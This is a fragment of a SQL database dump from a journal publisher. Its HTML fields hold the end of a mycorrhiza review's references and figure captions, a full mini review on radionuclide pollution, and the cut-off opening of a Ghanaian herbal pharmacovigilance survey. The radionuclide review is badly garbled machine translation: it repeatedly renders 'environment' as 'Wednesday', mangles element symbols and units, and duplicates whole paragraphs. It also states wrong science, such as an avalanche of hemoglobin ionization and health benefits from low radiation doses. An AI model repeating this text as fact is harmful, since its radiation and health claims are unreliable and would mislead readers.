style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21669714\">Wells CE, Glenn DM, Eissenstat DM (2002) Changes in the risk of fine-root mortality with age: a case study in peach, <em>Prunus persica</em> <em>(Rosaceae)</em>. American Journal of Botany 89: 79-87.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://pdfs.semanticscholar.org/5cca/aaf6019289599cb4c9e8969abcc166be3fd5.pdf\">Atkinson D, Watson CA (2000) The beneficial rhizosphere: a dynamic entity. Applied Soil Ecology15: 99-104.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16133249\">Benedetto A, Magurno F, Bonfante P, Lanfranco L (2005) Expression profiles of a phosphate transporter gene (GmosPT) from the endomycorrhizal fungus <em>Glomus mosseae</em>. Mycorrhiza 15: 620-627.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15998407\">Ohtomo R, Saito M (2005) Polyphosphate dynamics in mycorrhizal roots during colonization of an arbuscular mycorrhizal fungus. New Phytology 167:571-578.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15807785\">Nagy R, Karandashov V, Chague V, Kalinkevich K, Tamasloukht M, et al. (2005) The characterization of novel mycorrhiza-specific phosphate transporters from <em>Lycopersicon esculentum </em>and <em>Solanum tuberosum</em><em> </em>uncovers functional redundancy in symbiotic phosphate transport in solanaceous species<em>. </em>Plant Journal 42: 236-250.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\">Souza PVD, Fonfria M.A, Berjon MA, Orega VA (1996) Intera&ccedil;&atilde;o entre auxinas de s&iacute;ntese e fungos micorr&iacute;zicos arbusculares: influ&ecirc;ncia sobre o desenvolvimento vegetativo de pl&acirc;ntulas de laranjeira azeda <em>(Citrus aurantium L)</em>. Pesquisa Agropecu&aacute;ria Ga&uacute;cha 2:167-172.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://nph.onlinelibrary.wiley.com/doi/abs/10.1111/j.1469-8137.1994.tb07536.x\">Tobar R, Azc&oacute;n R, Barea JM (1994) Inproved nitrogen uptake and transport from <sup>15</sup>N-labelled nitrate by external hyphae of arbuscular mycorrhiza under water stressed condictions. New Phytologist 126: 119-122.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?script=sci_abstract&amp;pid=S0103-84782000000500007&amp;lng=en&amp;nrm=iso&amp;tlng=pt\">Souza PVD (2000) Intera&ccedil;&atilde;o entre micorrizas arbusculares e &aacute;cido giber&eacute;lico no desenvolvimento vegetativo de plantas de Citrange Carrizo. Ci&ecirc;ncia Rural 30: 783-787.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scielo.br/scielo.php?pid=S0100-06832003000500008&amp;script=sci_abstract&amp;tlng=pt\">Minhoni MTA, Auler PAM (2003) Efeito do f&oacute;sforo, fumiga&ccedil;&atilde;o do substrato e fungo micorr&iacute;zico arbuscular sobre o crescimento de plantas de mamoeiro. Revista Brasileira de Ci&ecirc;ncia do Solo 27: 841-847.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/chapter/10.1007/978-1-4612-3030-4_1\">Barea JM (1991) Vesicular-arbuscular mycorrhizae as modifiers of soil fertility Advances in Soil Science. Springer-Velar. Pg No: 39-40.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/030442389390106Z\">An ZQ, Shein T, Wang HG (1993) Mycorrhizal fungi in relation to growth and mineral nutrition of apple seedlings. Scientia Horticulturae 54: 275-285.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.scribd.com/document/362494561/Analise-de-solos-plantas-e-outros-materiais-Tedesco-et-al-1995-pdf\">Tedesco MJ, Gianello C, Bissani CA, Bohnen H, Volkweiss SJ (1995) An&aacute;lises de solo, plantas e outros materiais. (2<sup>nd</sup> edition), Porto Alegre: Departamento de solos da UFRGS.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28098948\">Sawers RJH, Svane SF, Quan C, Gr&oslash;nlund M, Wozniak B, et al. (2017) Phosphorus acquisition efficiency in arbuscular mycorrhizal maize is correlated with the abundance of root-external hyphae and the accumulation of transcripts encoding PHT1 phosphate transporters. New Phytologist 214: 632-643.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/34ec0071.jpg\" style=\"height:240px; width:435px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Releasing by the plant of strigolactones (5-deoxi-strigol) that induce the branching of hyphae of the AMF. Adapted from Paszkowski, 2006b [27].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/35c67609.jpg\" style=\"height:230px; width:359px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2: </strong>Preparation of host cells for penetration of the AMF: A - signaling; B - formation of the appressory; C - formation of the microtubule; D - formation of the microfilaments; E - penetration of the hyphae into the cells. Adapted from Paszkowski, 2006b [27].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/362ad735.jpg\" style=\"height:157px; width:394px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> Formation of the appressory (A) and point of contact (arrow - B), the development and penetration of hyphae in the root cortex. Adapted from Paszkowski, 2006a [24].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/3713633a.jpg\" style=\"height:187px; width:407px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> Schema that shows the formation of the arbuscule (A): N - nucleus; V - vacuole; SM - symbiotic membrane. (B) - arbuscule formed inside the cells of the roots of peach tree. Source: (A) - Adapted from Paszkowski, 2006b [27]; (B) - Photo: Itamar Garcia Ign&aacute;cio (EMBRAPA Agrobiologia).</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/3831a5ff.jpg\" style=\"height:223px; width:390px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5:</strong> Cross-sections of second order roots peach plant without inoculation (A) and inoculated with AMF (B). MX - Metaxylem; PX - Protoxylem; XS - Secondary Xylem. Photos: Jos&eacute; Luis da Silva Nunes.</span></span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Nunes JLS (2018) Anatomic and Morphologic Relations Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review. Open Acc J Agri Res: OAJAR-100010.</span></p>\r\n','','1540291806.pdf',NULL,'1540291808.jpg','',0,1,'2018-10-23 16:20:07','2018-10-24 12:03:39',1),(20,35,'20','2018','Pollution of Natural Ecosystems, The Biosphere Radionuklidamy, And Its Implications','Rae ZH Aliyev*','Mini Review','Pollution-of-Natural-Ecosystems-The-Biosphere-Radionuklidamy-And-Its-Implications','Pollution of Natural Ecosystems,-The-Biosphere-Radionuklidamy,-And-Its-Implications','Pollution-of-Natural-Ecosystems,-The-Biosphere-Radionuklidamy, And Its Implications','Pollution-of-Natural-Ecosystems,-The-Biosphere-Radionuklidamy,-And-Its-Implications','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Pollution of Natural Ecosystems, The Biosphere Radionuklidamy, And Its Implications</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Rae ZH Aliyev<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>: Rae ZH Aliyev, Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan. Email: <a href=\"mailto:zaakirakademik@mail.ru\">zaakirakademik@mail.ru</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Aliyev RZH (2018) Pollution of Natural Ecosystems, The Biosphere Radionuklidamy, And Its Implications. Open Acc J Agri Res: OAJAR-100008.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 18 September, 2018; <strong>Published Date:</strong> 29 October, 2018</span></p>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Now humanity is understood not only the magnitude of its creativity, but its complete dependence on the environment Wednesday. However, this understanding until nevseob&raquo; by and often submissive short-term selfish interests (situation, economy, etc.); ended in the twentieth century, a century of great discoveries and global achievements in the sciences, engineering, economics, and human culture. In this century, along with the progress occurred global destruction of nature, pollution Wednesday. Scientific and technical progress was threatening green civilization. From the middle of the century, mankind departed entered a new phase of its development in the no sphere i.e. when the only alternative becomes a balanced national economy conducting &quot;joint&quot; with all the elements of nature, i.e. on a smoke break already established natural biogeocenozam populations and communities, and combining with them, complementing them, sozhitelstvuja them.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Progress in The Study and Discussion of Materials</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Powerful development of the productive forces (especially in the highly industrial relations) current forecast assumptions, insistently demands to send them in an environmentally sound manner. Maximize production and profit now becomes the criterion for the well-being of any Community (State). So now everything should be subjected to environmental assessment it is deep understanding of the current natural environment becomes the basis for further action by any community, because the scope of the activities of mankind became function the State of nature, i.e. humanity, maybe for the first time began to feel not only the scope of its activities, but also their dependence on State Wednesday.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. The Objectives of the Study</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Taking into account the fact that such dependence, human intelligence above all seeks to systematize the facts of anthropogenic impact and identify the most significant priorities for health and environmental protection Wednesday. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These priorities are primarily aimed at preserving human homeostasis and everything else that surrounds the person i.e. Wednesday, with which a person communicates energy. If we talk specifically about the priorities, the first thing you should pay attention to the components of the biosphere, accumulation of biogenic elements (all forms of nitrogen: NH<sub>4</sub>, NO.3, NO.2, as well as p2o5, Fe AGG. SI on2), i.e. items that possess biological activity and how the rules of outlier of biological cycles of substance due to its excess akkumulirovannosti this specific biota, which ultimately leads to the formation of taksogennoj zone, i.e. the formation of abiotic Wednesday. In addition, education excess with2 co, as well as various oxides and nitrogen gidridi in the atmosphere together with various volatile hydrocarbons, are powerful toksikogenami of life in the biosphere causes necrosis Wednesday human habitation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">However, if you take into account the targeted use of OCSP (An Organ Chlorine Pesticide) and FOP (Phosphorus-Organic Pesticide) man, it becomes apparent the brunt of toksikogennoj load obrushivajushheesja on him. However, in the series of all these toxic substances, a special immeasurably insidious and having serious&nbsp;consequences, has radionuclide pollution of the natural environment. It should be said about the special role of this pollution, which contributes to carcinogenesis in living organisms.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, specific toxicants, polluting soils, water sources and the atmosphere and determining the general radio ecological situation, are radionuclides, which are unstable isotopes of many chemical elements that spontaneously dissociate for people with the release of radiation energy. Its action on a living organism is very specific and consists in the following. In radioactive decay, when the rays are released, their penetration into any external environment begins, including and living organisms. By themselves, these rays, penetrating the body, are able to ionize the constituent elements of the cell (Especially The Rays); for example, hemoglobin of blood.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Under normal conditions, the protein (Hemoglobin) is electronically unbalanced, but when it penetrates, for example: - rays, this hemoglobin becomes negatively charged, because a proton is embroidered from it, which means that it practically can no longer be functional in transferring oxygen from the lungs to the brain, the heart, etc., by the blood stream. Moreover, a negatively charged hemoglobin, i. E. in the free-radical state, promotes the neighboring hemoglobin to lose its proton, i.e. The ionization wave (Depending on the Dose of Radiation) increases in an avalanche manner, which in the end can lead to an organism lethal outcome. Thus, from an ecological point of view, radioactive radiation is an extremely formidable abiotic factor. However, it should be specially noted that in optimally low doses, radioactive radiation even acts favorably on the body, which is manifested in activation of redox reactions of the body, in optimizing the respiratory coefficient of the hormonal system, etc. [1-3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At present, it is known that ionizing radiation is composed of three sources of ionizing radiation [3]:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1. Cosmic rays reaching the surface of the Earth.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Radiation of radioactive elements that make up the earth&#39;s crust (soils, rocks, seawater, soil water, etc.).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3. Radioactive radiation caused by radionuclides, which are part of the organisms of humans (and also animals).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All three types of radiation make up the natural radiation background (EPF). The total radiation load per person in modern society is estimated to be about 2/3 of the effect of ionizing radiation and 1/3 of the impact of anthropogenic sources. It should be noted that the EPF varies in different regions of the planet in the range of values ??that differ by more than 2 orders of magnitude. The biota of these regions has evolved to adapt to its EPF. And the danger to living organisms can only be the excess of the EPF caused by artificial radioactivity [4]. With the current state of the biosphere, when emissions, incl. and carcinogenic substances into it is carried out uncontrollably chaotically, convection and other processes can spontaneously localize scattered radionuclides thousands of kilometers from the centers of their formation, at any point of the planet. And such artificial radioactivity in the external environment is due to various reasons: tests of nuclear weapons; at accidents of nuclear power reactors and at their cooling; at disposal of uranium ore processing waste; when using ionizing radiation in medicine (diagnostics, therapy). The last radiation load reaches about 30% of the total human ionizing radiation load from all possible sources [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, at present natural radionuclide, ionization is present in nature, which causes the EPF and artificial radionuclide contamination, which can lead to irreversible transformations in the animal organism, depending on the dose of the radiation level; to disturb its homeostasis, evolutionarily conditioned both ontogenetic and phylogenetic ally. In this regard, there is a need to develop environmental criteria (they can simultaneously be sanitary and hygienic) for the main types of soils, natural waters and the air, i.e. of the environment with which the person must be in complete harmonious harmony.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Objectives of the study: is to study the characteristics of the natural environment by radionuclide contamination.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1. Atmosphere. As a rule, radionuclide pollution is in the aerosol state in the atmosphere. And the convection currents caused by the temperature in the barometric ingredients, at a certain moment, under the influence of gravitational forces, settle on the soil, plant, water, and so on. Surface. According to the radiation safety standards (NRB-76/87, the permissible concentration of strontium-90 radionuclide in atmospheric air should be 4.0, 10-14) kib / liter, and for cesium-137 such a standard has not yet been obtained.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Hydrosphere. The main transporting and accumulating (in these sediments) environment in the system &quot;water-soil&quot; -plants-people &quot;. It is in the aqueous medium that suspended radionuclides of the atmosphere dissolve: it is&nbsp;in this state that they penetrate the soil, underground layers of groundwater and other waters (including drinking sources). At present there are no officially approved ecological criteria for assessing the level of radioactive contamination (SRH) of aquatic ecosystems.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Again, there are only radiation safety standards (NRB-76/87) containing information from the permissible concentration of individual radionuclides in water (DKV), for which this figure corresponds to the ratio of the annual intake limit or its critical organ for a year [1]. So the value of DKV is the widest spread and dangerous in water objects long-lived radionuclides of strontium-90 and cesium-137 is 4.0, respectively. 10 -10 kib / liter (for bones) and 1.5-6.5 &bull; 10-8 kib / liter (for the whole body and liver).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These official parameters (norms) for assessing the radio ecological situation (situation) are only indicative; It should be noted that radionuclides migrate, accumulate and transform in all major bio currents and components of the biota of water bodies with the involvement of substances in the biotic cycle. In fresh water bodies and watercourses, these sediments and higher aquatic vegetation sorb most of the radionuclides. The smaller part of radionuclides remains more or less evenly dissolved in water. This is a very important in the theoretical and practical sense of the law. The fact is that in the bottom sediments of water bodies, due to the high sorption capacity of the silt, so large amounts of radionuclides are usually accumulated that the water of the water column in those water bodies can be &quot;clean&quot; in accordance with sanitary and hygienic criteria. However, the radiological well-being of water bodies polluted radionuclides, even if they are sufficiently radioactive, is always very relative, because: -first, hydro sites are unable to withstand external radiation in doses, substantially from and secondly, the needs in the process of the biotic cycle are able to accumulate in the body radionuclides in such quantities (high concentrations) that these accumulated radionuclides become life-threatening, as well as the health (physiological state) of their consumers (consumers), including .The importance is also the fact that in the radio-contaminated water bodies in the greatest quantity there are usually two radionuclides-Strontium -90 and cesium -137, which have a large period m half-life and high toxicity, and are dangerous. Once in the body of hydrobionts, radionuclides become sources of incorporated chronic radiation, especially strong if they concentrate in certain tissues and form dangerous foci locally radiating nearby cells. With chronic action of even small doses of radiation, a accumulative (total) effect is produced that causes a mutagenic and damaging cell, organ, organism of action. In this case, a negative radiation effect can occur with minimal amounts of energy absorbed by the irradiated body (organism).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Chronic irradiation with radionuclides of hydrobionts of all trophic levels in ecosystems of water bodies to varying degrees of radio contamination can lead not only to the cessation of fishing due to the inadequacy of fish for food man and animal, which he eats, but also to other unforeseen consequences. Possible disappearances of some species and an outbreak of the number of other fish species, etshih favorable for them mutations. This leads to a restructuring of the biota structure and changes in biotic links, which can worsen the hydro biological processes of water quality and productivity in water bodies. The pedosphere. The natural radioactive background (EFR) of the soil is determined by such elements as Ra, Ac, Gh. K-40, which undergo spontaneous successive transformations, forming families of radioactive elements and isotopes with very different half-lives. To a lesser extent, 0-14 are present in the soil. A high indicator is fixed in some ore deposits; a small EPF index is fixed almost on the whole surface of the Earth and natural radioactive elements (ERE) are present in all rocks, soils and waters. The concentration of ERE in the soil depends on their content in the parent (rock) rock and the degree of weathering as a result of soil formation. In soils formed on the weathering products of acidic rocks, radioactive elements and isotopes is contained more than in soils formed on basic or ultrabasic rocks. Soils of heavy mechanical composition contain ERE more than soils of light mechanical composition. Migration of ERS depends largely on the landscape: the soil of eluvial and trans-eluvial landscapes contain significantly more G and men more than Ra; in the soils of accumulative landscapes, the content of R increases with respect to the average. In soils, in the soils, C-1 &bull; 10-4, Gh-6 &bull; 10-4, Ra-B &bull; 10-4, potassium-40 -2 &bull; 10- 4, [5,6]. Atomic and thermonuclear explosions or wastes from the nuclear industry mainly determine the artificial radioactive background of the soil. As a result, radioactive elements and isotopes that do not occur in the EPF appear in the soil.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The long-lived radioactive elements fall into the soil, including Cp-30, Cs-137, Ru-106, L-144, Mn-54, etc. The most important values ??are Cp-90 and Cs -137. The intensive is sorbet by the soils in the exchange state, absorbed by the root systems and through the plant are included in the agricultural links of migration of elements of mineral nutrition. On some soils containing minerals like vermiculite. Cs-137 is readily available to plants, Cp-90 and Cs -137 represent the greatest danger because they are close analogues of physiologically important Elements-Ca and K, have a long half-life and high energy of radiation (Cp-90-emitter, Cs-137 - and-emitter), can easily be incorporated into the biological cycle and enter human organisms. The content and distribution of Cp-90 and Cs&nbsp;-137 in soils is determined by the intensity and character of their loss from the atmosphere, the properties of the isotopes and soils themselves, and, on the whole, by the aggregate of all natural conditions (vegetation, climate, relief). </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The distribution of Cp-90 and Cs -137 on the territory depends on the latitude of the terrain. The maximum loss is observed within 30-500 sow. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The hardening and content of Cp-90 and Cs -137 in soil depends on the form in which they are found (water-soluble Base Exchange, hardly soluble), and on the properties of the soil. When cultivating agricultural crops on soils contaminated with IPE, the consequence is extracted by the roots of plants and accumulate in plant products.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reduce their intake in plants can be appropriate methods. Studies have shown that Cp-90 in comparison with Cs -137 intensively enters the plants, which is explained by the different degree of their fixation in the soil. Calcium-loving plants usually absorb a relatively higher Cp-90 than the poorest plants accumulate Cp-90, legumes, less-root crops and even less-elastics. Plants containing more potassium absorb and more Cs-137. On soils of light mechanical composition and poor humus, other things being equal, radioactive elements enter the plants more than on soils of heavy mechanical composition and rich in humus. The intake of Sr-90, in plants decreases on cultivated soils with m3 sequestration and fertilization. The intake of Cs-137 in plants reduces various potassium fertilizers; the intake of Cs-137 is inhibited by the introduction of alkali metal phosphates. However, in the series of all these toxic substances, a special immeasurably insidious and having serious consequences, has radionuclide pollution of the natural environment. It should be said about the special role of this pollution, which contributes to carcinogenesis in living organisms.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, specific toxicants, polluting soils, water sources and the atmosphere and determining the general radio ecological situation, are radionuclides, which are unstable isotopes of many chemical elements that spontaneously dissociate for people with the release of radiation energy. Its action on a living organism is very specific and consists in the following. In radioactive decay, when the rays are released, their penetration into any external environment begins, including and living organisms. By themselves, these rays, penetrating the body, are able to ionize the constituent elements of the cell (especially the rays); for example, hemoglobin of blood. Under normal conditions, the protein (hemoglobin) is electronically unbalanced, but when it penetrates, for example: - rays, this hemoglobin becomes negatively charged, because a proton is embroidered from it, which means that it practically can no longer be functional in transferring oxygen from the lungs to the brain, the heart, etc., by the blood stream.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ionizing radiation is a powerful mutagenic factor. Taking into account all planetary prevalence of radioactive contamination and all the harmfulness of its presence in biota, it becomes extremely necessary to examine its impact on the most important genetic Fund of mankind, i.e. becomes acutely necessary to predict how can education the ionosphere (the scope of the human mind) that naturally due to the planet&#39;s gene pool.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After all, under the influence of small doses of radiation mutation frequency increases dramatically. The vast majority of mutations generates various genetic deformities and diseases. Nakap-livajas in generations, they can bring great suffering to humankind. And the duty of a modern society is not only to save the life of the current living generations, but also to protect future generations from the ancestral burdens harmful mutations.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Biodiversity and climate diversity (2007) SVD, UNEP. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Akad ED (1989) Academy of Medical Sciences of Ussr N.p. General Oncology, Napalkova, s., medicine.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Kuzin-problems of modern radiobiology M &laquo;knowledge&raquo; (2002) 19878. Flint V.E. and others - Conservation and restoration of biodiversity. Moscow: Izd. Scientific and educational-methodical center. Pg No: 282.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Lavrik VI (1984) Human Heredity and the environment Wednesday. Soviet Committee for the UNESCO programme &quot;man and the Biosphere Programme. Nauka , Moscow.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Romanenko VD, Oksijuk OP, Zhukinskij VN, Stolberg (1990) environmental assessment of the activity of hydro technical building on water objects. Naukova dumka, Kiev.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Shykhlinsky EM (1968) The climate of Azerbaijan. Baku Pg No: 341.</span></span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Aliyev RZH (2018) Pollution of Natural Ecosystems, The Biosphere Radionuklidamy, And Its Implications. Open Acc J Agri Res: OAJAR-100008.</span></span></p>\r\n','','1540805884.pdf',NULL,'1540805884.jpg','',0,1,'2018-10-29 15:08:04','2018-10-29 15:09:13',1);
insert  into `journal_article_in_press`(`a_id`,`journal_id`,`journal_cat_id`,`year_of_article`,`title`,`author_name`,`article_type`,`url`,`seo_title`,`seo_keyword`,`seo_description`,`research_article`,`abstract`,`introduction`,`references`,`figures`,`suggested_citation`,`tables`,`pdf_file`,`excel_file`,`image`,`video`,`video_article`,`status`,`create_at`,`update_at`,`create_by`) values (21,20,'20','2018','Herbal Pharmacovigilance: Are Ghanaian Herbal Medicine Practitioners Equipped Enough to Assist in Monitoring the Safety of Herbal Medicines? - A Survey in Tamale, Ghana','Evans Paul Kwame Ameade1*, Mohammed Mubarak Baba1, Negro Umar Iddrisu1, Anelly Abdulai Musah2, Stephen Yao Gbedema3','Research Article','Herbal-Pharmacovigilance-Are-Ghanaian-Herbal-Medicine-Practitioners-Equipped-Enough-to-Assist-in-Monitoring-the-Safety-of-Herbal-Medicines-A-Survey-in-Tamale-Ghana','Herbal-Pharmacovigilance-Are-Ghanaian-Herbal-Medicine-Practitioners-Equipped-Enough-to-Assist-in Monitoring the Safety of Herbal Medicines A Survey in Tamale Ghana','Herbal Pharmacovigilance Are Ghanaian Herbal Medicine Practitioners-Equipped-Enough-to-Assist-in-Monitoring-the-Safety-of-Herbal-Medicines-A-Survey-in-Tamale-Ghana','Herbal-Pharmacovigilance-Are-Ghanaian-Herbal-Medicine-Practitioners-Equipped-Enough-to-Assist-in-Monitoring-the-Safety-of-Herbal-Medicines-A-Survey-in-Tamale-Ghana','<h1 style=\"text-align:center\"><strong><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\">Chronicles of Complementary, Alternative &amp; Integrative Medicine</span></span></strong></h1>\r\n\r\n<h2 style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Herbal Pharmacovigilance: Are Ghanaian Herbal Medicine Practitioners Equipped Enough to Assist in Monitoring the Safety of Herbal Medicines? - A Survey in Tamale, Ghana</strong></span></span></h2>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Evans Paul Kwame Ameade<sup>1*</sup>, Mohammed Mubarak Baba<sup>1</sup>, Negro Umar Iddrisu<sup>1</sup>, Anelly Abdulai Musah<sup>2</sup>, Stephen Yao Gbedema<sup>3</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Pharmacology, School of Medicine and Health Sciences, University for Development Studies, Tamale</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New 